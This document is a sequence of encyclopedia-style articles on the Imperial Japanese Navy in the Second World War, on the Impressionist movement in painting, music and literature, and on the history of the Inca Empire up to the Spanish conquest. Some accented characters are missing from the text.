          From 1935-1938, Akagi and Kaga received extensive rebuilds to improve their aircraft handling capacity. Japan put particular emphasis on aircraft carriers. The Imperial Japanese Navy started the Pacific War with 10 aircraft carriers, the largest and most modern carrier fleet in the world at that time. There were seven American aircraft carriers at the beginning of hostilities, only three operating in the Pacific; and eight British aircraft carriers, of which a single one operated in the Indian Ocean. The IJN's two Shōkaku-class carriers were superior to any carrier in the world, until the wartime appearance of the American Essex-class. A large number of these Japanese carriers were of small size, however, in accordance with the limitations placed upon the Navy by the London and Washington Naval Conferences.


          Following the Battle of Midway, in which four Japanese fleet carriers were sunk, the Japanese Navy suddenly found itself short of fleet carriers (as well as trained aircrews), resulting in an ambitious set of projects to convert commercial and military vessels into escort carriers, such as the Hiyō. Another conversion project, Shinano, was based on an incomplete Yamato-class super battleship and became the largest-displacement carrier of World War II. The IJN also attempted to build a number of fleet carriers, though most of these projects were not completed by the end of the war. One exception being the Taihō, which was the first and only Japanese carrier with an armored flight deck and first to incorporate a closed hurricane bow.


          


          Naval aviation
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          Japan began the war with a highly competent naval air force designed around some of the best airplanes in the world: the Zero was considered the best carrier aircraft of the beginning of the war, the Mitsubishi G3M bomber was remarkable for its range and speed, and the Kawanishi H8K was world's best flying boat. The Japanese pilot corps at the beginning of the war were of high caliber as compared to their contemporaries around the world due to intense training and frontline experience in the Sino-Japanese War. The Navy also had a competent tactical bombing force based around the Mitsubishi G3M and G4M bombers, which astonished the world by being the first planes to sink enemy capital ships underway, claiming battleship Prince of Wales and the battlecruiser Repulse.


          As the war dragged on, the Allies found weaknesses in Japanese Naval Aviation. Though most Japanese aircraft were characterized by great operating ranges, they had very little in the way of defensive armament and armor. As a result, the more numerous, heavily armed and armored American aircraft were able to develop techniques that nullified the advantages of the Japanese aircraft. Although there were delays in engine development, several new competitive designs were developed during the war, but industrial weaknesses, lack of raw materials and disorganization due to Allied bombing raids hampered their mass-production. Furthermore, the IJN didn't have an efficient process for rapid training of aviators, as two years of training were usually considered necessary for a carrier flyer. Therefore, they weren't able to effectively replace seasoned pilots lost through attrition following their initial successes in the Pacific campaign. The IJN pilots' later inexperience was especially evident during the Battle of the Philippine Sea, when their aircraft were shot down in droves by the American naval pilots in what the Americans later called the " Great Marianas Turkey Shoot." Following the Battle of Leyte Gulf, the Japanese Navy increasingly opted towards deploying aircraft in the kamikaze role.
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          Towards the end of the conflict, several competitive plane designs were developed, such as the 1943 Shiden, but such planes were produced too late and in insufficient numbers (415 units for the Shiden) to affect the outcome of the war. Radical new plane designs were also developed, such as the canard design Shinden, and especially jet-powered aircraft such as the Nakajima Kikka and the rocket-propelled Mitsubishi J8M. These jet designs were partially based on technology received from Nazi Germany, usually in the form of a few drawings only, Kikka being based on the Messerschmitt Me 262 and the J8M on the Messerschmitt Me 163), so Japanese manufacturers had to play a key role in the final engineering. These developments also happened too late in the conflict to have any influence on the outcome. The Kikka only flew once before the end of the war.



          


          Submarines
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          Japan had by far the most varied fleet of submarines of World War II, including manned torpedoes ( Kaiten), midget submarines ( Ko-hyoteki, Kairyu), medium-range submarines, purpose-built supply submarines (many for use by the Army), long-range fleet submarines (many of which carried an aircraft), submarines with the highest submerged speeds of the conflict ( Senkou I-200), and submarines that could carry multiple bombers (World War II's largest submarine, the Sentoku I-400). These submarines were also equipped with the most advanced torpedo of the conflict, the Type 95 torpedo, a 21" (533 mm) version of the famous 24" (61cm) Type 91.


          A plane from one such long-range fleet submarine, I-25, conducted what is still the only aerial bombing attack on the continental United States when Warrant Flying Officer Nobuo Fujita attempted to start massive forest fires in the Pacific Northwest outside the town of Brookings, Oregon on September 9th, 1942. Other submarines undertook trans-oceanic missions to German-occupied Europe, such as I-30, I-8, I-34, I-29 and I-52, in one case flying a Japanese seaplane over France in a propaganda coup. In May 1942, Type A midget submarines were used in the Attack on Sydney Harbour, and the Battle of Madagascar.
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          Overall, despite their technical prowesses, Japanese submarines were relatively unsuccessful. They were often used in offensive roles against warships (per Mahanian doctrine), which were fast, maneuverable and well-defended compared to merchant ships. In 1942, Japanese submarines managed to sink two fleet carriers, one cruiser, and a few destroyers and other warships, and damage several others. They were not able to sustain these results afterwards, as Allied fleets were reinforced and started using better anti-submarine tactics. By the end of the war, submarines were instead often used to transport supplies to island garrisons. During the war, Japan managed to sink about 1 million tons of merchant shipping (184 ships), compared to 1.5 million tons for Britain (493 ships), 4.65 million tons for the US (1079 ships) and 14.3 million tons for Germany (2840 ships).


          Early models were not very maneuverable under water, could not dive very deep, and lacked radar. Later in the war, units fitted with radar were in some instances sunk due to the ability of US radar sets to detect their emissions. For example, Batfish (SS-310) sank three such in the span of four days. After the end of the conflict, several of Japan's most original submarines were sent to Hawaii for inspection in "Operation Road's End" ( I-400, I-401, I-201 and I-203) before being scuttled by the U.S. Navy in 1946 when the Soviets demanded access to the submarines as well.


          


          Special Attack Units
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          At the end of the Second World War, numerous Special Attack Units (Japanese: 特別攻撃隊, tokubetsu kōgeki tai, also abbreviated to 特攻隊, tokkōtai) were developed for suicide missions, in a desperate move to compensate for the annihilation of the main fleet. These units included Kamikaze ("Divine Wind") bombers, Shinyo ("Sea Quake") suicide boats, Kairyu ("Sea Dragon") suicide midget submarines, Kaiten ("Turn of Heaven") suicide torpedoes, and Fukuryu ("Crouching Dragon") suicide scuba divers who would swim under boats and use explosives mounted on bamboo poles to destroy both the boat and themselves. Kamikaze planes were particularly effective during the defense of Okinawa, in which 1465 planes were expended to damage around 250 American warships.


          A considerable number of Special Attack Units were built and stored in coastal hideouts for the desperate defense of the Home islands, with the potential to destroy or damage thousands of enemy warships.


          


          Imperial Japanese Navy Land Forces


          Imperial Japanese Navy Land Forces of World War II originated with the Special Naval Landing Forces, and eventually consisted of the following:


          
            	Special Naval Landing Force or Rikusentai or kaigun rikusentai or Tokubetsu Rikusentai: the Japanese Marines


            	The Base Force or Tokubetsu Konkyochitai provided services, primarily security, to naval facilities


            	Defence units or Bobitai or Boei-han: detachments of 200 to 400 men.


            	Guard forces or Keibitai: detachments of 200500 men who provide security to Imperial Japanese Navy facilities


            	Pioneers or Setsueitai built naval facilities, including airstrips, on remote islands.


            	Naval Civil Engineering and Construction Units, or Kaigun Kenchiku Shisetsu Butai


            	The Naval Communications Units or Tsushintai of 6001,000 men to provide basic naval communications and also handled encryption and decryption.


            	The Tokeitai Navy military police units were part of the naval intelligence armed branch, with military police regular functions in naval installations and occupied territories; they also worked with the Imperial Japanese Army's Kempeitai military police, the Keishicho civil police and Tokko secret units in security and intelligence services.

          


          


          Self-Defense Forces
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          Following Japan's surrender to the Allies at the conclusion of World War II, and Japan's subsequent occupation, Japan's entire imperial military was dissolved in the new 1947 constitution which states, "The Japanese people forever renounce war as a sovereign right of the nation and the threat or use of force as a means of settling international disputes." Japan's current navy falls under the umbrella of the Japan Self-Defense Forces (JSDF) as the Japan Maritime Self-Defense Force (JMSDF).
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          Impressionism was a 19th-century art movement that began as a loose association of Paris-based artists exhibiting their art publicly in the 1860s. The name of the movement is derived from the title of a Claude Monet work, Impression, Sunrise (Impression, soleil levant), which provoked the critic Louis Leroy to coin the term in a satiric review published in Le Charivari.


          Characteristics of Impressionist painting include visible brush strokes, open composition, emphasis on light in its changing qualities (often accentuating the effects of the passage of time), ordinary subject matter, the inclusion of movement as a crucial element of human perception and experience, and unusual visual angles.


          The emergence of Impressionism in the visual arts was soon followed by analogous movements in other media which became known as Impressionist music and Impressionist literature.


          Impressionism also describes art created in this style, but outside of the late 19th century time period.


          


          Overview


          Radicals in their time, early Impressionists broke the rules of academic painting. They began by giving colours, freely brushed, primacy over line, drawing inspiration from the work of painters such as Eugene Delacroix. They also took the act of painting out of the studio and into the world. Previously, still lifes and portraits as well as landscapes had usually been painted indoors. The Impressionists found that they could capture the momentary and transient effects of sunlight by painting en plein air. Painting realistic scenes of modern life, they emphasized vivid overall effects rather than details. They used short, "broken" brush strokes of pure and unmixed colour, not smoothly blended, as was customary, in order to achieve the effect of intense colour vibration.


          Although the rise of Impressionism in France happened at a time when a number of other painters, including the Italian artists known as the Macchiaioli, and Winslow Homer in the United States, were also exploring plein-air painting, the Impressionists developed new techniques that were specific to the movement. Encompassing what its adherents argued was a different way of seeing, it was an art of immediacy and movement, of candid poses and compositions, of the play of light expressed in a bright and varied use of colour.


          The public, at first hostile, gradually came to believe that the Impressionists had captured a fresh and original vision, even if it did not receive the approval of the art critics and establishment.


          By re-creating the sensation in the eye that views the subject, rather than recreating the subject, and by creating a welter of techniques and forms, Impressionism became seminal to various movements in painting which would follow, including Neo-Impressionism, Post-Impressionism, Fauvism, and Cubism.
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          Beginnings


          In an atmosphere of change as Emperor Napoleon III rebuilt Paris and waged war, the Acadmie des Beaux-Arts dominated the French art scene in the middle of the 19th century. The Acadmie was the upholder of traditional standards for French painting, both in content and style. Historical subjects, religious themes, and portraits were valued (landscape and still life were not), and the Acadmie preferred carefully finished images which mirrored reality when examined closely. Colour was sombre and conservative, and the traces of brush strokes were suppressed, concealing the artist's personality, emotions, and working techniques.


          The Acadmie held an annual, juried art show, the Salon de Paris, and artists whose work displayed in the show won prizes, garnered commissions, and enhanced their prestige. The standards of the juries reflected the values of the Acadmie, represented by the highly polished works of such artists as Jean-Lon Grme and Alexandre Cabanel. Some younger artists painted in a lighter and brighter manner than painters of the preceding generation, extending further the realism of Gustave Courbet and the Barbizon school. They were more interested in painting landscape and contemporary life than in recreating scenes from history. Each year, they submitted their art to the Salon, only to see the juries reject their best efforts in favour of trivial works by artists working in the approved style. A core group of young realists, Claude Monet, Pierre-Auguste Renoir, Alfred Sisley, and Frdric Bazille, who had studied under Charles Gleyre, became friends and often painted together. They soon were joined by Camille Pissarro, Paul Czanne, and Armand Guillaumin.


          In 1863, the jury rejected The Luncheon on the Grass (Le djeuner sur l'herbe) by douard Manet primarily because it depicted a nude woman with two clothed men at a picnic. While nudes were routinely accepted by the Salon when featured in historical and allegorical paintings, the jury condemned Manet for placing a realistic nude in a contemporary setting. The jury's sharply worded rejection of Manet's painting, as well as the unusually large number of rejected works that year, set off a firestorm among French artists. Manet was admired by Monet and his friends, and led the discussions at Caf Guerbois where the group of artists frequently met.


          After seeing the rejected works in 1863, Emperor Napoleon III decreed that the public be allowed to judge the work themselves, and the Salon des Refuss (Salon of the Refused) was organized. While many viewers came only to laugh, the Salon des Refuss drew attention to the existence of a new tendency in art and attracted more visitors than the regular Salon.


          Artists' petitions requesting a new Salon des Refuss in 1867, and again in 1872, were denied. In April of 1874 a group consisting of Monet, Renoir, Pissarro, Sisley, Czanne, Berthe Morisot, and Edgar Degas organized their own exhibition at the studio of the photographer Nadar. They invited a number of other progressive artists to exhibit with them, including the slightly older Eugne Boudin, whose example had first persuaded Monet to take up plein air painting years before. Another painter who greatly influenced Monet and his friends, Johan Jongkind, declined to participate, as did Manet. In total, thirty artists participated in the exhibition, which was the first of eight that the group would present between 1874 and 1886.


          The critical response was mixed, with Monet and Czanne bearing the harshest attacks. Critic and humorist Louis Leroy wrote a scathing review in the Le Charivari newspaper in which, making wordplay with the title of Claude Monet's Impression, Sunrise (Impression, soleil levant), he gave the artists the name by which they would become known. Derisively titling his article The Exhibition of the Impressionists, Leroy declared that Monet's painting was at most, a sketch, and could hardly be termed a finished work.
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          He wrote, in the form of a dialog between viewers,


          
            	Impression  I was certain of it. I was just telling myself that, since I was impressed, there had to be some impression in it  and what freedom, what ease of workmanship! Wallpaper in its embryonic state is more finished than that seascape.

          


          The term "Impressionists" quickly gained favour with the public. It was also accepted by the artists themselves, even though they were a diverse group in style and temperament, unified primarily by their spirit of independence and rebellion.


          Monet, Sisley, Morisot, and Pissarro may be considered the "purest" Impressionists, in their consistent pursuit of an art of spontaneity, sunlight, and colour. Degas rejected much of this, as he believed in the primacy of drawing over colour and belittled the practice of painting outdoors. Renoir turned against Impressionism for a time in the 1880s, and never entirely regained his commitment to its ideas. douard Manet, despite his role as a leader to the group, never abandoned his liberal use of black as a colour, and never participated in the Impressionist exhibitions. He continued to submit his works to the Salon, where his Spanish Singer had won a 2nd class medal in 1861, and he urged the others to do likewise, arguing that "the Salon is the real field of battle" where a reputation could be made.


          Among the artists of the core group (minus Bazille, who had died in the Franco-Prussian War in 1870), defections occurred as Czanne, followed later by Renoir, Sisley, and Monet, abstained from the group exhibitions in order to submit their works to the Salon. Disagreements arose from issues such as Guillaumin's membership in the group, championed by Pissarro and Czanne against opposition from Monet and Degas, who thought him unworthy. Degas invited Mary Cassatt to display her work in the 1879 exhibition, but he also caused dissention by insisting on the inclusion of Jean-Franois Raffalli, Ludovic Lepic, and other realists who did not represent Impressionist practices, leading Monet in 1880 to accuse the Impressionists of "opening doors to first-come daubers". The group divided over the invitation of Signac and Seurat to exhibit with them in 1886. Pissarro was the only artist to show at all eight Impressionist exhibitions.


          The individual artists saw few financial rewards from the Impressionist exhibitions, but their art gradually won a degree of public acceptance. Their dealer, Durand-Ruel, played a major role in this as he kept their work before the public and arranged shows for them in London and New York. Although Sisley would die in poverty in 1899, Renoir had a great Salon success in 1879. Financial security came to Monet in the early 1880s and to Pissarro by the early 1890s. By this time the methods of Impressionist painting, in a diluted form, had become commonplace in Salon art.


          


          Impressionist techniques


          
            	Short, thick strokes of paint are used to quickly capture the essence of the subject, rather than its details. The paint is often applied impasto.


            	Colours are applied side-by-side with as little mixing as possible, creating a vibrant surface. The optical mixing of colours occurs in the eye of the viewer.


            	Grays and dark tones are produced by mixing complementary colours. In pure Impressionism the use of black paint is avoided.


            	Wet paint is placed into wet paint without waiting for successive applications to dry, producing softer edges and an intermingling of colour.


            	Impressionist paintings do not exploit the transparency of thin paint films (glazes) which earlier artists built up carefully to produce effects. The surface of an Impressionist painting is typically opaque.


            	The play of natural light is emphasized. Close attention is paid to the reflection of colours from object to object.


            	In paintings made en plein air (outdoors), shadows are boldly painted with the blue of the sky as it is reflected onto surfaces, giving a sense of freshness and openness that was not captured in painting previously. (Blue shadows on snow inspired the technique.)
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          Painters throughout history had occasionally used these methods, but Impressionists were the first to use all of them together, and with such boldness. Earlier artists whose works display these techniques include Frans Hals, Diego Velzquez, Peter Paul Rubens, John Constable, and J. M. W. Turner.


          French painters who prepared the way for Impressionism include the Romantic colourist Eugne Delacroix, the leader of the realists Gustave Courbet, and painters of the Barbizon school such as Thodore Rousseau. The Impressionists learned much from the work of Jean-Baptiste-Camille Corot and Eugne Boudin, who painted from nature in a style that was close to Impressionism, and who befriended and advised the younger artists.


          Impressionists took advantage of the mid-century introduction of premixed paints in lead tubes (resembling modern toothpaste tubes) which allowed artists to work more spontaneously, both outdoors and indoors. Previously, painters made their own paints individually, by grinding and mixing dry pigment powders with linseed oil, which were then stored in animal bladders.


          


          Content and composition
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          Before the Impressionists, other painters, notably such 17th-century Dutch painters as Jan Steen, had focused on common subjects, but their approaches to composition were traditional. They arranged their compositions in such a way that the main subject commanded the viewer's attention. The Impressionists relaxed the boundary between subject and background so that the effect of an Impressionist painting often resembles a snapshot, a part of a larger reality captured as if by chance. Photography was gaining popularity, and as cameras became more portable, photographs became more candid. Photography inspired Impressionists to capture the moment, not only in the fleeting lights of a landscape, but in the day-to-day lives of people.


          The rise of the impressionist movement can be seen in part as a reaction by artists to the newly established medium of photography. The taking of fixed or still images challenged painters by providing a new medium with which to capture reality. Initially photographys presence seemed to undermine the artists depiction of nature and their ability to mirror reality. Both portrait and landscape paintings were deemed somewhat deficient and lacking in truth as photography produced lifelike images much more efficiently and reliably.


          In spite of this, photography actually inspired artists to pursue other means of artistic expression, and rather than competing with photography to emulate reality, artists focused on the one thing they could inevitably do better than the photograph  by further developing into an art form its very subjectivity in the conception of the image, the very subjectivity that photography eliminated. The Impressionists sought to express their perceptions of nature, rather than create exacting reflections or mirror images of the world. This allowed artists to subjectively depict what they saw with their tacit imperatives of taste and conscience. Photography encouraged painters to exploit aspects of the painting medium, like colour, which photography then lacked; the Impressionists were the first to consciously offer a subjective alternative to the photograph.


          Another major influence was Japanese art prints ( Japonism), which had originally come into France as wrapping paper for imported goods. The art of these prints contributed significantly to the "snapshot" angles and unconventional compositions which would become characteristic of the movement.


          Edgar Degas was both an avid photographer and a collector of Japanese prints. His The Dance Class (La classe de danse) of 1874 shows both influences in its asymmetrical composition. The dancers are seemingly caught off guard in various awkward poses, leaving an expanse of empty floor space in the lower right quadrant.


          


          Post-Impressionism


          Post-Impressionism developed from Impressionism. From the 1880s several artists began to develop different precepts for the use of colour, pattern, form, and line, derived from the Impressionist example: Vincent Van Gogh, Paul Gauguin, Georges Seurat, and Henri de Toulouse-Lautrec. These artists were slightly younger than the Impressionists, and their work is known as post-Impressionism. Some of the original Impressionist artists also ventured into this new territory; Camille Pissarro briefly painted in a pointillist manner, and even Monet abandoned strict plein air painting. Paul Czanne, who participated in the first and third Impressionist exhibitions, developed a highly individual vision emphasizing pictorial structure, and he is more often called a post-Impressionist. Although these cases illustrate the difficulty of assigning labels, the work of the original Impressionist painters may, by definition, be categorized as Impressionism.


          


          Painters known as Impressionists


          The central figures in the development of Impressionism in France, listed alphabetically, were:


          
            	Frdric Bazille


            	Gustave Caillebotte (who, younger than the others, joined forces with them in the mid 1870s)


            	Mary Cassatt (American-born, she lived in Paris and participated in four Impressionist exhibitions)


            	Paul Czanne (although he later broke away from the Impressionists)


            	Edgar Degas (a realist who despised the term Impressionist, but is considered one, due to his loyalty to the group)


            	Armand Guillaumin


            	douard Manet (who did not regard himself as an Impressionist, but is generally considered one)


            	Claude Monet (the most prolific of the Impressionists and the one who most clearly embodies their aesthetic)


            	Berthe Morisot


            	Camille Pissarro


            	Pierre-Auguste Renoir


            	Alfred Sisley

          


          Among the close associates of the Impressionists were several painters who adopted their methods to some degree. These include Giuseppe De Nittis, an Italian artist living in Paris who participated in the first Impressionist exhibit at the invitation of Degas, although the other Impressionists disparaged his work. Federico Zandomeneghi was another Italian friend of Degas who showed with the Impressionists. Eva Gonzals was a follower of Manet who did not exhibit with the group. James Abbott McNeill Whistler was an American-born painter who played a part in Impressionism although he did not join the group and preferred grayed colours. Walter Sickert, an English artist, was initially a follower of Whistler, and later an important disciple of Degas; he did not exhibit with the Impressionists. In 1904 the artist and writer Wynford Dewhurst wrote the first important study of the French painters to be published in English, Impressionist Painting: its genesis and development, which did much to popularize Impressionism in Great Britain.


          By the early 1880s, Impressionist methods were affecting, at least superficially, the art of the Salon. Fashionable painters such as Jean Beraud and Henri Gervex found critical and financial success by brightening their palettes while retaining the smooth finish expected of Salon art. Works by these artists are sometimes casually referred to as Impressionism, despite their remoteness from Impressionist practice.


          As the influence of Impressionism spread beyond France, artists, too numerous to list, became identified as practitioners of the new style. Some of the more important examples are:


          
            	The American Impressionists, including Frederick Carl Frieseke, Childe Hassam, Willard Metcalf, Lilla Cabot Perry, Theodore Robinson, John Henry Twachtman, and J. Alden Weir


            	Lovis Corinth, Max Liebermann, and Max Slevogt in Germany


            	Konstantin Korovin and Valentin Serov in Russia


            	Francisco Oller y Cestero, a native of Puerto Rico, who was a friend of Pissarro and Czanne


            	William McTaggart applied Impressionism to his native Scotland.


            	Laura Muntz Lyall, a Canadian artist


            	Władysław Podkowiński, a Polish Impressionist and symbolist


            	Nazmi Ziya Gran, who brought Impressionism to Turkey


            	Chafik Charobim, who was a well known impressionist painter in Egypt

          


          


          Other visual artists known as Impressionists


          The sculptor Auguste Rodin is sometimes called an Impressionist for the way he used roughly modeled surfaces to suggest transient light effects. Pictorialist photographers whose work is characterized by soft focus and atmospheric effects have also been called Impressionists. Examples are Kirk Clendinning, Alvin Langdon Coburn, Robert Farber, Eduard Steichen, Alfred Stieglitz, and Clarence H. White.


          French Impressionist Cinema is a term applied to a loosely defined group of films and filmmakers in France from 1919-1929, although these years are debatable. French Impressionist filmmakers include Abel Gance, Jean Epstein, Germaine Dulac, Marcel LHerbier, Louis Delluc, and Dmitry Kirsanoff.


          


          Impressionism in music and literature


          Musical Impressionism is the name given to a movement in European classical music that arose in the late 19th century and continued into the middle of the 20th century. Originating in France, musical Impressionism is characterized by suggestion and atmosphere, and eschews the emotional excesses of the Romantic era. Impressionist composers favored short forms such as the nocturne, arabesque, and prelude, and often explored uncommon scales such as the whole tone scale. Perhaps the most notable innovations used by Impressionist composers were the first uses of major 7th chords and the extension of chord structures in 3rds to five and six part harmonies.


          The influence of visual Impressionism on its musical counterpart is debatable. Claude Debussy and Maurice Ravel are generally considered the greatest Impressionist composers, but Debussy disavowed the term, calling it the invention of critics. Erik Satie was also considered to be in this category although his approach was considered to be less serious, more of musical novelty in nature. Paul Dukas is another French composer sometimes considered to be an Impressionist but his style is perhaps more closely aligned to the late Romanticists. Musical Impressionism beyond France includes the work of such composers as Ralph Vaughan Williams and Ottorino Respighi.


          The term Impressionism has also been used to describe works of literature in which a few select details suffice to convey the sensory impressions of an incident or scene. Impressionist literature is closely related to Symbolism, with its major exemplars being Baudelaire, Mallarm, Rimbaud, and Verlaine. Authors such as Virginia Woolf and Joseph Conrad have written works which are Impressionistic in the way that they describe, rather than interpret, the impressions, sensations and emotions that constitute a character's mental life.
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The Inca Empire at its greatest extent.
                    
                  


                  
                    	Capital

                    	Cusco 

                    ( 1438- 1533)
                  


                  
                    	Language(s)

                    	Quechua (official), Aymara, Puquina, Jaqi family, Muchik and scores of smaller languages.
                  


                  
                    	Religion

                    	Inca religion
                  


                  
                    	Government

                    	Monarchy
                  


                  
                    	Sapa Inca
                  


                  
                    	- 1438-1471

                    	Pachacutec
                  


                  
                    	- 1471-1493

                    	Tupac Yupanqui
                  


                  
                    	- 1493-1525

                    	Huayna Capac
                  


                  
                    	- 1525-1532

                    	Huascar
                  


                  
                    	- 1532-1533

                    	Atahualpa
                  


                  
                    	Historical era

                    	P-Columbian
                  


                  
                    	- Pachacutec created the Twantinsuyu

                    	1438
                  


                  
                    	- Civil war between Huascar and Atahualpa

                    	1527-1532
                  


                  
                    	- Spanish conquest lead by Francisco Pizarro

                    	1533
                  


                  
                    	Area
                  


                  
                    	- 1438

                    	800,000km (308,882sqmi)
                  


                  
                    	- 1527

                    	2,000,000km (772,204sqmi)
                  


                  
                    	Population
                  


                  
                    	- 1438 est.

                    	12,000,000
                  


                  
                    	 Density

                    	15/km (38.8/sqmi)
                  


                  
                    	- 1527 est.

                    	20,000,000
                  


                  
                    	 Density

                    	10/km (25.9/sqmi)
                  

                

              
            

          


          The Inca Empire (or Inka Empire) was the largest empire in pre-Columbian America. The administrative, political and military centre of the empire was located in Cusco. The Inca Empire arose from the highlands of Peru sometime in early 13th century. From 1438 to 1533, the Incas used a variety of methods, from conquest to peaceful assimilation, to incorporate a large portion of western South America, centered on the Andean mountain ranges, including large parts of modern Ecuador, Peru, western and south central Bolivia, northwest Argentina, north and north-central Chile, and southern Colombia. The Incas identified their king as "child of the sun."


          The Quechua name for the empire was Tawantinsuyu which can be translated as The Four Regions or The Four United Regions. Before the Quechua spelling reform it was written in Spanish as Tahuantinsuyo. Tawantin is a group of four things (tawa "four" with the suffix -ntin which names a group); suyu means "region" or "province". The empire was divided into four Suyus, whose corners met at the capital, Cusco (Qosqo), in modern-day Peru. The official language of the empire was Quechua, although dozens if not hundreds of local languages were spoken.


          There were many local forms of worship, most of them concerning local sacred " Huacas", but the Inca leadership encouraged the worship of Inti  the sun god  and imposed its sovereignty above other cults such as that of Pachamama.


          


          History


          


          Origin myths
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          The Incas had various creation myths. In one, Ticci Viracocha sent forth his four sons and four daughters (known as the Ayar brothers) from Pacaritambo to establish a village. Along the way, Sinchi Roca was born to Manco and Ocllo, and Sinchi Roca led them to the valley of Cusco where they founded their new village. There Manco became their leader and became known as Manco Capac.


          In another origin myth, the sun god Inti ordered Manco Capac and Mama Ocllo to emerge from the depths of Lake Titicaca. They were born in the lake and wandered north to establish the city of Cusco. They travelled by means of underground caves until they reached Cusco where they established Hurin Cusco, or the first dynasty of the Kingdom of Cusco.


          These myths were apparently transmitted via oral tradition until early Spanish colonists recorded them; however some scholars believe that they may have been recorded on quipus (Andean knotted string records).


          


          Kingdom of Cusco


          The Inca people began as a tribe in the Cusco area around the 12th century. Under the leadership of Manco Capac, they formed the small city-state of Cusco ( Quechua Qusqu), shown in red on the map. In 1438 they began a far-reaching expansion under the command of Sapa Inca (paramount leader) Pachacuti, whose name literally meant "earth-shaker". During his reign, he and his son brought much of the Andes mountains (roughly modern Peru and Ecuador) under Inca control.


          


          Reorganization and formation of the Empire
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          Pachacuti reorganized the kingdom of Cuzco into an empire, the Tahuantinsuyu, a federalist system which consisted of a central government with the Inca at its head and four provincial governments with strong leaders: Chinchasuyu (NW), Antisuyu (NE), Contisuyu (SW), and Collasuyu (SE). Pachacuti is also thought to have built Machu Picchu, either as a family home or as a summer retreat.


          Pachacuti sent spies to regions he wanted in his empire; they brought reports on the political organization, military might and wealth. He would then send messages to the leaders of these lands extolling the benefits of joining his empire, offering them presents of luxury goods such as high quality textiles, and promising that they would be materially richer as subject rulers of the Inca. Most accepted the rule of the Inca as a fait accompli and acquiesced peacefully. The ruler's children would then be brought to Cuzco to be taught about Inca administration systems, then return to rule their native lands. This allowed the Inca to indoctrinate the former ruler's children into the Inca nobility, and, with luck, marry their daughters into families at various corners of the empire.


          


          Expansion and consolidation of the Tawantinsuyu


          It was traditional for the Inca's son to lead the army; Pachacuti's son Tpac Inca Yupanqui began conquests to the north in 1463, and continued them as Inca after Pachucuti's death in 1471. His most important conquest was the Kingdom of Chimor, the Inca's only serious rival for the coast of Peru. Tpac Inca's empire stretched north into modern day Ecuador and Colombia.


          Tpac Inca's son Huayna Cpac added a small portion of land to the north in modern day Ecuador and in parts of Peru. At its height, Tahuantinsuyu included Peru and Bolivia, most of what is now Ecuador, a large portion of what is today Chile north of Maule River, where they met massive resistance by the Mapuche tribes. The empire also extended into corners of Argentina and Colombia. However, most of the southern portion of the Inca empire, the portion denominated as Collasuyu, was desert wasteland.


          Tahuantinsuyu was a patchwork of languages, cultures and peoples. The components of the empire were not all uniformly loyal, nor were the local cultures all fully integrated. The Inca empire as a whole had an economy based on exchange and taxation of luxury goods and labour (it is said that Inca tax collectors would take the head lice of the lame and old as a symbolic tribute).


          


          Inca civil war and Spanish conquest
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          Spanish conquistadors led by Francisco Pizarro and his brothers explored south from Panama, reaching Inca territory by 1526. It was clear that they had reached a wealthy land with prospects of great treasure, and after one more expedition (1529), Pizarro traveled to Spain and received royal approval to conquer the region and be its viceroy.


          At the time they returned to Peru, in 1532, a war of the two brothers between Huayna Capac's sons Huascar and Atahualpa and unrest among newly-conquered territories  and perhaps more importantly, smallpox, which had spread from Central America  had considerably weakened the empire. It was an unfortunate fact for the Inca that the Spaniards arrived at the height of a civil war, fueled almost certainly by the devastating diseases that preceded the European colonization.


          Pizarro did not have a formidable force; with just 168 men, 1 cannon and only 27 horses, he often needed to talk his way out of potential confrontations that could have easily wiped out his party. The Spanish horseman, fully armored, had great technological superiority over the Inca forces. The traditional mode of battle in the Andes was a kind of siege warfare where large numbers of usually reluctant draftees were sent to overwhelm opponents. The Spaniards had developed one of the finest military machines in the premodern world, tactics learned in their centuries' long fight against Moorish kingdoms in Iberia. Along with this tactical and material superiority, the Spaniards also had acquired tens of thousands of native allies who sought to end the Inca control of their territories. This, combined with an audacious military attack by the Spaniards in Cajamarca, allowed them to capture the emperor and send the Inca elite into a huge and paralyzing political struggle. Atahualpa ordered the death of his opponent, Huascar, and the Spaniards skillfully manipulated the various factions within the Inca state. They also were able to continually increase their native allies and ultimately launched a successful attack on the capital city of Cuzco.


          Their first engagement was the Battle of Pun, near present-day Guayaquil, Ecuador on the Pacific Coast; Pizarro then founded the city of Piura in July 1532. Hernando de Soto was sent inland to explore the interior, and returned with an invitation to meet the Inca, Atahualpa, who had defeated his brother in the civil war and was resting at Cajamarca with his army of 80,000 troops.


          Pizarro and some of his men, most notably a friar by the name of Vincente de Valverde met with the Inca, who had brought only a small retinue. Through an interpreter Friar Vincente demanded that he and his empire accept the yoke of King Charles I of Spain and convert to Christianity. Due to the language barrier and perhaps poor interpretation, Atahualpa became somewhat puzzled by the friar's description of Christian faith and was said to have not fully understood the envoy's intentions. After Atahualpa attempted further enquiry into the doctrines of the Christian faith under which Pizarro's envoy served, the Spanish became frustrated and impatient, attacking the Inca's retinue (see Battle of Cajamarca) and capturing Atahualpa as hostage.


          Atahualpa offered the Spaniards enough gold to fill the room he was imprisoned in, and twice that amount of silver. The Inca fulfilled this ransom, but Pizarro deceived them, refusing to release the Inca afterwards. During Atahualpa's imprisonment Huascar was assassinated elsewhere. The Spaniards maintained that this was at Atahualpa's orders; this was used as one of the charges against Atahualpa when the Spaniards finally decided to put him to death, in August 1533.


          


          The last Incas
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          The Spanish installed Atahualpa's brother Manco Inca Yupanqui in power; for some time Manco cooperated with the Spanish, while the Spanish fought to put down resistance in the north. Meanwhile an associate of Pizarro's, Diego de Almagro, attempted to claim Cuzco for himself. Manco tried to use this intra-Spanish feud to his advantage, recapturing Cuzco (1536), but the Spanish retook the city afterwards. Manco Inca then retreated to the mountains of Vilcabamba, Peru, where he and his successors ruled for another 36 years, sometimes raiding the Spanish or inciting revolts against them. In 1572 the last Inca stronghold was conquered, and the last ruler, Tpac Amaru, Manco's son, was captured and executed. This ended resistance to the Spanish conquest under the political authority of the Inca state.


          After the fall of Tahuantinsuyu, the new Spanish rulers brutally oppressed the people and suppressed their traditions. Many aspects of Inca culture were systematically destroyed, including their sophisticated farming system. The Spaniards used the Inca mita (mandatory public service) system to literally work the people to death. One member of each family was forced to work in the gold and silver mines, the foremost of which was the titanic silver mine at Potos. When a family member died, which would usually happen within a year or two, the family would be required to send a replacement.


